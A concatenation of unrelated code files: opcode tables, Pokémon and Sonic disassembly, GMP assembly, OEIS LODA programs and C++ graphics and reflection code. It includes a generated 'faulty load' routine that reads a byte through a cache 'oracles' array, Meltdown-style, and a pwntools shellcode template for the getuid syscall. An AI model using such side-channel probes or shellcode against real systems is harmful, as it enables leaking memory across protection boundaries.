reloc_num DD 0 ; counts the addresses in the relocation table (jumps)
lodb_and DD 0ffh, 0ffffh, 0, 0ffffffffh
;
; A list of the "run-time-library" functions that are called via indirect calls.
; So these calls don't have to be relocated. This gives also the possibility to
; replace some of these with shorter/faster non-debug or non-checking versions,
; without changing the compiled code. Instead this table could be changed...
;
verify_adr_eax DD _VERIFYADDRESS_eax
verify_adr_edx DD _VERIFYADDRESS_edx
chk_marginstack DD _CHKMARGIN_STACK
chk_marginheap DD _CHKMARGIN_HEAP
chk_dividezero DD _CHKDIVIDEZERO
jit_return DD _return
jit_retn DD JIT_OP_RETN
jit_sdiv DD JIT_OP_SDIV
jit_movs DD JIT_OP_MOVS
jit_cmps DD JIT_OP_CMPS
jit_fill DD JIT_OP_FILL
jit_bounds DD JIT_OP_BOUNDS
jit_sysreq DD JIT_OP_SYSREQ
jit_sysreq_d DD JIT_OP_SYSREQ_D
jit_break DD JIT_OP_BREAK
jit_switch DD JIT_OP_SWITCH
;
; The table for the browser/relocator function.
;
global amx_opcodelist_jit, _amx_opcodelist_jit
amx_opcodelist_jit:
_amx_opcodelist_jit:
DD OP_INVALID
DD OP_LOAD_PRI
DD OP_LOAD_ALT
DD OP_LOAD_S_PRI
DD OP_LOAD_S_ALT
DD OP_LREF_PRI
DD OP_LREF_ALT
DD OP_LREF_S_PRI
DD OP_LREF_S_ALT
DD OP_LOAD_I
DD OP_LODB_I
DD OP_CONST_PRI
DD OP_CONST_ALT
DD OP_ADDR_PRI
DD OP_ADDR_ALT
DD OP_STOR_PRI
DD OP_STOR_ALT
DD OP_STOR_S_PRI
DD OP_STOR_S_ALT
DD OP_SREF_PRI
DD OP_SREF_ALT
DD OP_SREF_S_PRI
DD OP_SREF_S_ALT
DD OP_STOR_I
DD OP_STRB_I
DD OP_LIDX
DD OP_LIDX_B
DD OP_IDXADDR
DD OP_IDXADDR_B
DD OP_ALIGN_PRI
DD OP_ALIGN_ALT
DD OP_LCTRL
DD OP_SCTRL
DD OP_MOVE_PRI
DD OP_MOVE_ALT
DD OP_XCHG
DD OP_PUSH_PRI
DD OP_PUSH_ALT
DD OP_PUSH_R_PRI
DD OP_PUSH_C
DD OP_PUSH
DD OP_PUSH_S
DD OP_POP_PRI
DD OP_POP_ALT
DD OP_STACK
DD OP_HEAP
DD OP_PROC
DD OP_RET
DD OP_RETN
DD OP_CALL
DD OP_CALL_I
DD OP_JUMP
DD OP_JREL
DD OP_JZER
DD OP_JNZ
DD OP_JEQ
DD OP_JNEQ
DD OP_JLESS
DD OP_JLEQ
DD OP_JGRTR
DD OP_JGEQ
DD OP_JSLESS
DD OP_JSLEQ
DD OP_JSGRTR
DD OP_JSGEQ
DD OP_SHL
DD OP_SHR
DD OP_SSHR
DD OP_SHL_C_PRI
DD OP_SHL_C_ALT
DD OP_SHR_C_PRI
DD OP_SHR_C_ALT
DD OP_SMUL
DD OP_SDIV
DD OP_SDIV_ALT
DD OP_UMUL
DD OP_UDIV
DD OP_UDIV_ALT
DD OP_ADD
DD OP_SUB
DD OP_SUB_ALT
DD OP_AND
DD OP_OR
DD OP_XOR
DD OP_NOT
DD OP_NEG
DD OP_INVERT
DD OP_ADD_C
DD OP_SMUL_C
DD OP_ZERO_PRI
DD OP_ZERO_ALT
DD OP_ZERO
DD OP_ZERO_S
DD OP_SIGN_PRI
DD OP_SIGN_ALT
DD OP_EQ
DD OP_NEQ
DD OP_LESS
DD OP_LEQ
DD OP_GRTR
DD OP_GEQ
DD OP_SLESS
DD OP_SLEQ
DD OP_SGRTR
DD OP_SGEQ
DD OP_EQ_C_PRI
DD OP_EQ_C_ALT
DD OP_INC_PRI
DD OP_INC_ALT
DD OP_INC
DD OP_INC_S
DD OP_INC_I
DD OP_DEC_PRI
DD OP_DEC_ALT
DD OP_DEC
DD OP_DEC_S
DD OP_DEC_I
DD OP_MOVS
DD OP_CMPS
DD OP_FILL
DD OP_HALT
DD OP_BOUNDS
DD OP_SYSREQ_PRI
DD OP_SYSREQ_C
DD OP_FILE
DD OP_LINE
DD OP_SYMBOL
DD OP_SRANGE
DD OP_JUMP_PRI
DD OP_SWITCH
DD OP_CASETBL
DD OP_SWAP_PRI ; TR
DD OP_SWAP_ALT ; TR
DD OP_PUSHADDR ; TR
DD OP_NOP ; TR
DD OP_SYSREQ_D ; TR
DD OP_SYMTAG ; TR
DD OP_BREAK ; TR
END
|
flypoint: MACRO
const FLY_\1
db \2, SPAWN_\1
ENDM
Flypoints:
; landmark, spawn point
const_def
; Johto
flypoint NEW_BARK, NEW_BARK_TOWN
flypoint BATTLE_TOWER, BATTLE_TOWER
; Kanto
KANTO_FLYPOINT EQU const_value
flypoint PALLET, PALLET_TOWN
flypoint VIRIDIAN, VIRIDIAN_CITY
flypoint PEWTER, PEWTER_CITY
flypoint CERULEAN, CERULEAN_CITY
; flypoint VERMILION, VERMILION_CITY
; flypoint ROCK_TUNNEL, ROCK_TUNNEL
; flypoint LAVENDER, LAVENDER_TOWN
; flypoint CELADON, CELADON_CITY
; flypoint SAFFRON, SAFFRON_CITY
; flypoint FUCHSIA, FUCHSIA_CITY
; flypoint CINNABAR, CINNABAR_ISLAND
flypoint INDIGO, INDIGO_PLATEAU
db -1
|
dnl S/390-64 mpn_rshift.
dnl Copyright 2011, 2014 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C z900 7
C z990 3
C z9 ?
C z10 6
C z196 ?
C NOTES
C * See notes in lshift.asm.
C INPUT PARAMETERS
define(`rp', `%r2')
define(`up', `%r3')
define(`n', `%r4')
define(`cnt', `%r5')
define(`tnc', `%r6')
ASM_START()
PROLOGUE(mpn_rshift)
cghi n, 3
jh L(gt1)
stmg %r6, %r7, 48(%r15)
larl %r1, L(tab)-4
lcgr tnc, cnt
sllg n, n, 2
b 0(n,%r1)
L(tab): j L(n1)
j L(n2)
j L(n3)
L(n1): lg %r1, 0(up)
srlg %r0, %r1, 0(cnt)
stg %r0, 0(rp)
sllg %r2, %r1, 0(tnc)
lg %r6, 48(%r15) C restoring r7 not needed
br %r14
L(n2): lg %r1, 0(up)
sllg %r4, %r1, 0(tnc)
srlg %r0, %r1, 0(cnt)
lg %r1, 8(up)
sllg %r7, %r1, 0(tnc)
ogr %r7, %r0
srlg %r0, %r1, 0(cnt)
stg %r7, 0(rp)
stg %r0, 8(rp)
lgr %r2, %r4
lmg %r6, %r7, 48(%r15)
br %r14
L(n3): lg %r1, 0(up)
sllg %r4, %r1, 0(tnc)
srlg %r0, %r1, 0(cnt)
lg %r1, 8(up)
sllg %r7, %r1, 0(tnc)
ogr %r7, %r0
srlg %r0, %r1, 0(cnt)
stg %r7, 0(rp)
lg %r1, 16(up)
sllg %r7, %r1, 0(tnc)
ogr %r7, %r0
srlg %r0, %r1, 0(cnt)
stg %r7, 8(rp)
stg %r0, 16(rp)
lgr %r2, %r4
lmg %r6, %r7, 48(%r15)
br %r14
L(gt1): stmg %r6, %r13, 48(%r15)
lcgr tnc, cnt C tnc = -cnt
sllg %r1, n, 3
srlg %r0, n, 2 C loop count
lghi %r7, 3
ngr %r7, n
je L(b0)
cghi %r7, 2
jl L(b1)
je L(b2)
L(b3): aghi rp, -8
lg %r7, 0(up)
sllg %r9, %r7, 0(tnc)
srlg %r11, %r7, 0(cnt)
lg %r8, 8(up)
lg %r7, 16(up)
sllg %r4, %r8, 0(tnc)
srlg %r13, %r8, 0(cnt)
ogr %r11, %r4
la up, 24(up)
j L(lm3)
L(b2): aghi rp, -16
lg %r8, 0(up)
lg %r7, 8(up)
sllg %r9, %r8, 0(tnc)
srlg %r13, %r8, 0(cnt)
la up, 16(up)
j L(lm2)
L(b1): aghi rp, -24
lg %r7, 0(up)
sllg %r9, %r7, 0(tnc)
srlg %r11, %r7, 0(cnt)
lg %r8, 8(up)
lg %r7, 16(up)
sllg %r4, %r8, 0(tnc)
srlg %r10, %r8, 0(cnt)
ogr %r11, %r4
la up, 8(up)
j L(lm1)
L(b0): aghi rp, -32
lg %r8, 0(up)
lg %r7, 8(up)
sllg %r9, %r8, 0(tnc)
srlg %r10, %r8, 0(cnt)
j L(lm0)
ALIGN(8)
L(top): sllg %r4, %r8, 0(tnc)
srlg %r13, %r8, 0(cnt)
ogr %r11, %r4
stg %r10, 0(rp)
L(lm3): stg %r11, 8(rp)
L(lm2): sllg %r12, %r7, 0(tnc)
srlg %r11, %r7, 0(cnt)
lg %r8, 0(up)
lg %r7, 8(up)
ogr %r13, %r12
sllg %r4, %r8, 0(tnc)
srlg %r10, %r8, 0(cnt)
ogr %r11, %r4
stg %r13, 16(rp)
L(lm1): stg %r11, 24(rp)
L(lm0): sllg %r12, %r7, 0(tnc)
aghi rp, 32
srlg %r11, %r7, 0(cnt)
lg %r8, 16(up)
lg %r7, 24(up)
aghi up, 32
ogr %r10, %r12
brctg %r0, L(top)
L(end): sllg %r4, %r8, 0(tnc)
srlg %r13, %r8, 0(cnt)
ogr %r11, %r4
stg %r10, 0(rp)
stg %r11, 8(rp)
sllg %r12, %r7, 0(tnc)
srlg %r11, %r7, 0(cnt)
ogr %r13, %r12
stg %r13, 16(rp)
stg %r11, 24(rp)
lgr %r2, %r9
lmg %r6, %r13, 48(%r15)
br %r14
EPILOGUE()
|
; A295855: a(n) = a(n-1) + 3*a(n-2) -2*a(n-3) - 2*a(n-4), where a(0) = 1, a(1) = -2, a(2) = 2, a(3) = 1.
; Submitted by Jon Maiga
; 1,-2,2,1,9,12,33,49,106,163,317,496,909,1437,2538,4039,6961,11128,18857,30241,50634,81387,135093,217504,358741,578293,949322,1531711,2505609,4045512,6600273,10662169,17360746,28055683,45613037,73734256,119740509,193605837,314132778,508000759,823706401,1332231448,2159083577,3492363601,5657738634,9152199387,14822520933,23978914624,38826601381,62813904613,101690837642,164521519471,266313020409,430868094312,697382441313,1128317644489,1826102738986,2954554601203,4781462646557,7736285683216
mov $1,-2
mov $2,1
lpb $0
sub $0,1
sub $3,1
add $1,$3
add $4,1
add $4,$5
sub $3,$4
mov $4,$2
mov $2,$3
mov $3,$5
add $4,$1
mul $1,2
add $4,2
add $4,$2
add $5,$2
lpe
mov $0,$2
|
db "BALLOON@" ; species name
db "It rolls its cute"
next "eyes as it sings a"
next "soothing lullaby."
page "Its gentle song"
next "puts anyone who"
next "hears it to sleep.@"
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1b463, %r12
nop
sub %r15, %r15
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r12)
nop
nop
xor $57799, %r15
lea addresses_normal_ht+0x11bbb, %rax
nop
and %r10, %r10
mov $0x6162636465666768, %rbp
movq %rbp, (%rax)
nop
nop
nop
nop
and $47192, %r10
lea addresses_WT_ht+0xf813, %r10
nop
add %r13, %r13
movups (%r10), %xmm0
vpextrq $1, %xmm0, %rax
nop
nop
nop
add $52397, %rax
lea addresses_A_ht+0x6901, %r12
nop
nop
nop
nop
nop
cmp %rax, %rax
movl $0x61626364, (%r12)
nop
and %r15, %r15
lea addresses_D_ht+0x12e33, %r15
nop
nop
nop
add %r12, %r12
mov (%r15), %bp
nop
nop
nop
xor $54987, %rax
lea addresses_WT_ht+0x10d93, %rsi
lea addresses_A_ht+0xd093, %rdi
nop
nop
sub %r12, %r12
mov $88, %rcx
rep movsb
nop
add $46948, %r13
lea addresses_D_ht+0x8be6, %rsi
lea addresses_UC_ht+0x15b73, %rdi
nop
cmp %rbp, %rbp
mov $76, %rcx
rep movsl
nop
nop
and %rbp, %rbp
lea addresses_WT_ht+0x17893, %rax
nop
nop
xor %r15, %r15
mov (%rax), %cx
nop
nop
nop
nop
cmp $684, %r12
lea addresses_WT_ht+0x6c93, %r15
nop
nop
nop
nop
xor $34402, %r12
movl $0x61626364, (%r15)
nop
nop
nop
nop
dec %rax
lea addresses_normal_ht+0xe9f7, %r10
nop
nop
nop
nop
nop
xor $37618, %r12
mov (%r10), %r15
nop
nop
nop
nop
nop
add %rax, %rax
lea addresses_normal_ht+0x14026, %rcx
nop
nop
nop
add $47231, %r15
movb $0x61, (%rcx)
cmp %r15, %r15
lea addresses_D_ht+0x773b, %rdi
clflush (%rdi)
and %r12, %r12
mov (%rdi), %r15w
nop
sub %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rbp
push %rbx
push %rdx
// Store
mov $0x1ef16f0000000093, %rbx
nop
nop
xor $32672, %rdx
mov $0x5152535455565758, %r14
movq %r14, %xmm2
vmovaps %ymm2, (%rbx)
nop
nop
nop
nop
nop
sub %rdx, %rdx
// Faulty Load
mov $0x1ef16f0000000093, %r10
nop
nop
sub %r8, %r8
mov (%r10), %bx
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': True, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'58': 222, '00': 21607}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 00
*/
|
#include "Reflection/ReflectedTypeDB.h"
namespace DAVA
{
ReflectedType::~ReflectedType() = default;
ReflectedType::ReflectedType(const Type* type_)
: type(type_)
{
}
Vector<const AnyFn*> ReflectedType::GetCtors() const
{
Vector<const AnyFn*> ret;
ret.reserve(structure->ctors.size());
for (auto& it : structure->ctors)
{
ret.push_back(it.get());
}
return ret;
}
const AnyFn* ReflectedType::GetDtor() const
{
if (structure->dtor != nullptr)
{
return structure->dtor.get();
}
return nullptr;
}
void ReflectedType::Destroy(Any&& v) const
{
if (v.GetType()->IsPointer())
{
const AnyFn* dtor = GetDtor();
if (nullptr != dtor)
{
dtor->Invoke(v);
}
else
{
DAVA_THROW(Exception, "There is no appropriate dtor.");
}
}
v.Clear();
}
} // namespace DAVA
|
; CALLER linkage for function pointers
SECTION code_clib
PUBLIC strcasecmp
PUBLIC _strcasecmp
EXTERN stricmp1
.strcasecmp
._strcasecmp
pop bc
pop de
pop hl
push hl
push de
push bc
jp stricmp1
|
; A213255: 2^(n-1) - floor((2^(n-1) - 1)/(n-1)).
; 1,3,6,13,26,54,110,225,456,922,1862,3755,7562,15214,30584,61441,123362,247581,496694,996148,1997288,4003654,8023886,16078166,32212255,64527754,129246702,258848476,518358122,1037950430,2078209982,4160749569,8329633544,16674578914,33378031558,66810602383,133724387162,267644277814,535659510968,1072023837082,2145388542002,4293331117983,8591532719366,17192363634316,34402497153525,68838988869454,137743073709470,275610914695851,551461178861694,1103381908705772,2207646876162008,4416991942228756
mov $1,$0
add $1,1
mov $2,2
pow $2,$1
mul $0,$2
div $0,$1
add $0,1
|
SafariZoneWest_Object:
db $0 ; border block
def_warps
warp 20, 0, 0, SAFARI_ZONE_NORTH
warp 21, 0, 1, SAFARI_ZONE_NORTH
warp 26, 0, 2, SAFARI_ZONE_NORTH
warp 27, 0, 3, SAFARI_ZONE_NORTH
warp 29, 22, 2, SAFARI_ZONE_CENTER
warp 29, 23, 3, SAFARI_ZONE_CENTER
warp 3, 3, 0, SAFARI_ZONE_SECRET_HOUSE
warp 11, 11, 0, SAFARI_ZONE_WEST_REST_HOUSE
def_signs
sign 12, 12, 5 ; SafariZoneWestText5
sign 17, 3, 6 ; SafariZoneWestText6
sign 26, 4, 7 ; SafariZoneWestText7
sign 24, 22, 8 ; SafariZoneWestText8
def_objects
object SPRITE_POKE_BALL, 8, 20, STAY, NONE, 1, MAX_POTION
object SPRITE_POKE_BALL, 9, 7, STAY, NONE, 2, TM_DOUBLE_TEAM
object SPRITE_POKE_BALL, 18, 18, STAY, NONE, 3, MAX_REVIVE
object SPRITE_POKE_BALL, 19, 7, STAY, NONE, 4, GOLD_TEETH
def_warps_to SAFARI_ZONE_WEST
|
; A093112: a(n) = (2^n-1)^2 - 2.
; -1,7,47,223,959,3967,16127,65023,261119,1046527,4190207,16769023,67092479,268402687,1073676287,4294836223,17179607039,68718952447,274876858367,1099509530623,4398042316799,17592177655807,70368727400447,281474943156223,1125899839733759,4503599493152767,18014398241046527,72057593501057023,288230375077969919,1152921502459363327,4611686014132420607,18446744065119617023,73786976277658337279,295147905144993087487,1180591620648691826687,4722366482732206260223,18889465931203702947839
mov $1,2
pow $1,$0
bin $1,2
mul $1,8
sub $1,1
mov $0,$1
|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args=""/>
<%docstring>
Invokes the syscall getuid. See 'man 2 getuid' for more information.
Arguments:
</%docstring>
${syscall('SYS_getuid')}
|
; ---------------------------------------------------------------------------
; Subroutine to display Sonic and set music
; ---------------------------------------------------------------------------
Sonic_Display:
move.w flashtime(a0),d0
beq.s @display
subq.w #1,flashtime(a0)
lsr.w #3,d0
bcc.s @chkinvincible
@display:
jsr (DisplaySprite).l
@chkinvincible:
tst.b (v_invinc).w ; does Sonic have invincibility?
beq.s @chkshoes ; if not, branch
tst.w invtime(a0) ; check time remaining for invinciblity
beq.s @chkshoes ; if no time remains, branch
subq.w #1,invtime(a0) ; subtract 1 from time
bne.s @chkshoes
tst.b (f_lockscreen).w
bne.s @removeinvincible
cmpi.w #$C,(v_air).w
bcs.s @removeinvincible
moveq #0,d0
move.b (v_zone).w,d0
cmpi.w #(id_LZ<<8)+3,(v_zone).w ; check if level is SBZ3
bne.s @music
moveq #5,d0 ; play SBZ music
@music:
lea (MusicList2).l,a1
move.b (a1,d0.w),d0
jsr (PlaySound).l ; play normal music
@removeinvincible:
move.b #0,(v_invinc).w ; cancel invincibility
@chkshoes:
tst.b (v_shoes).w ; does Sonic have speed shoes?
beq.s @exit ; if not, branch
tst.w shoetime(a0) ; check time remaining
beq.s @exit
subq.w #1,shoetime(a0) ; subtract 1 from time
bne.s @exit
move.w #$600,(v_sonspeedmax).w ; restore Sonic's speed
move.w #$C,(v_sonspeedacc).w ; restore Sonic's acceleration
move.w #$80,(v_sonspeeddec).w ; restore Sonic's deceleration
move.b #0,(v_shoes).w ; cancel speed shoes
jsr msuRestoreTrackSpeed
music bgm_Slowdown,1,0,0 ; run music at normal speed
@exit:
rts |
; A198646: 11*3^n-1.
; 10,32,98,296,890,2672,8018,24056,72170,216512,649538,1948616,5845850,17537552,52612658,157837976,473513930,1420541792,4261625378,12784876136,38354628410,115063885232,345191655698,1035574967096,3106724901290,9320174703872,27960524111618,83881572334856,251644717004570,754934151013712,2264802453041138,6794407359123416,20383222077370250,61149666232110752,183448998696332258,550346996088996776,1651040988266990330,4953122964800970992,14859368894402912978,44578106683208738936,133734320049626216810,401202960148878650432,1203608880446635951298,3610826641339907853896,10832479924019723561690,32497439772059170685072,97492319316177512055218,292476957948532536165656,877430873845597608496970,2632292621536792825490912,7896877864610378476472738,23690633593831135429418216,71071900781493406288254650,213215702344480218864763952,639647107033440656594291858,1918941321100321969782875576,5756823963300965909348626730,17270471889902897728045880192,51811415669708693184137640578,155434247009126079552412921736,466302741027378238657238765210,1398908223082134715971716295632,4196724669246404147915148886898,12590174007739212443745446660696,37770522023217637331236339982090,113311566069652911993709019946272,339934698208958735981127059838818,1019804094626876207943381179516456,3059412283880628623830143538549370,9178236851641885871490430615648112,27534710554925657614471291846944338,82604131664776972843413875540833016,247812394994330918530241626622499050,743437184982992755590724879867497152
mov $1,3
pow $1,$0
mul $1,11
sub $1,1
mov $0,$1
|
#include "StateTransition.h"
using namespace NCL::CSC8503;
|
#include "Texture3D.h"
#include <vector>
Texture3D::Texture3D(const std::vector<GLfloat> & textureBuffer, const int _width, const int _height, const int _depth, const bool generateMipmaps) :
width(_width), height(_height), depth(_depth)//, clearData(4 * _width * _height * _depth, 0.0f)
{
// Generate texture on GPU.
glGenTextures(1, &textureID);
glBindTexture(GL_TEXTURE_3D, textureID);
// Parameter options.
const auto wrap = GL_CLAMP_TO_BORDER;
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_WRAP_S, wrap);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_WRAP_T, wrap);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_WRAP_R, wrap);
const auto filter = GL_LINEAR_MIPMAP_LINEAR;
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_MIN_FILTER, filter);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
// Upload texture buffer.
const int levels = 7;
glTexStorage3D(GL_TEXTURE_3D, levels, GL_RGBA8, width, height, depth);
glTexImage3D(GL_TEXTURE_3D, 0, GL_RGBA8, width, height, depth, 0, GL_RGBA, GL_FLOAT, &textureBuffer[0]);
if (generateMipmaps) glGenerateMipmap(GL_TEXTURE_3D);
glBindTexture(GL_TEXTURE_3D, 0);
}
Texture3D::Texture3D(const int _width, const int _height, const int _depth, const bool generateMipmaps,
GLint internalFormat, GLint externalFormat) :
width(_width), height(_height), depth(_depth)//, clearData(4 * _width * _height * _depth, 0.0f)
{
// Generate texture on GPU.
glGenTextures(1, &textureID);
glBindTexture(GL_TEXTURE_3D, textureID);
// Parameter options.
const auto wrap = GL_CLAMP_TO_BORDER;
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_WRAP_S, wrap);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_WRAP_T, wrap);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_WRAP_R, wrap);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_BASE_LEVEL, 0);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_MAX_LEVEL, 0);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_SWIZZLE_R, GL_RED);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_SWIZZLE_G, GL_GREEN);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_SWIZZLE_B, GL_BLUE);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_SWIZZLE_A, GL_ALPHA);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_3D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
// Upload texture buffer.
//glTexImage3D(GL_TEXTURE_3D, 0, GL_RGBA8, width, height, depth, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
glTexImage3D(GL_TEXTURE_3D, 0, internalFormat, width, height, depth, 0, externalFormat, GL_UNSIGNED_BYTE, nullptr);
glBindTexture(GL_TEXTURE_3D, 0);
}
void Texture3D::Activate(const int shaderProgram, const std::string glSamplerName, const int textureUnit)
{
glActiveTexture(GL_TEXTURE0 + textureUnit);
glBindTexture(GL_TEXTURE_3D, textureID);
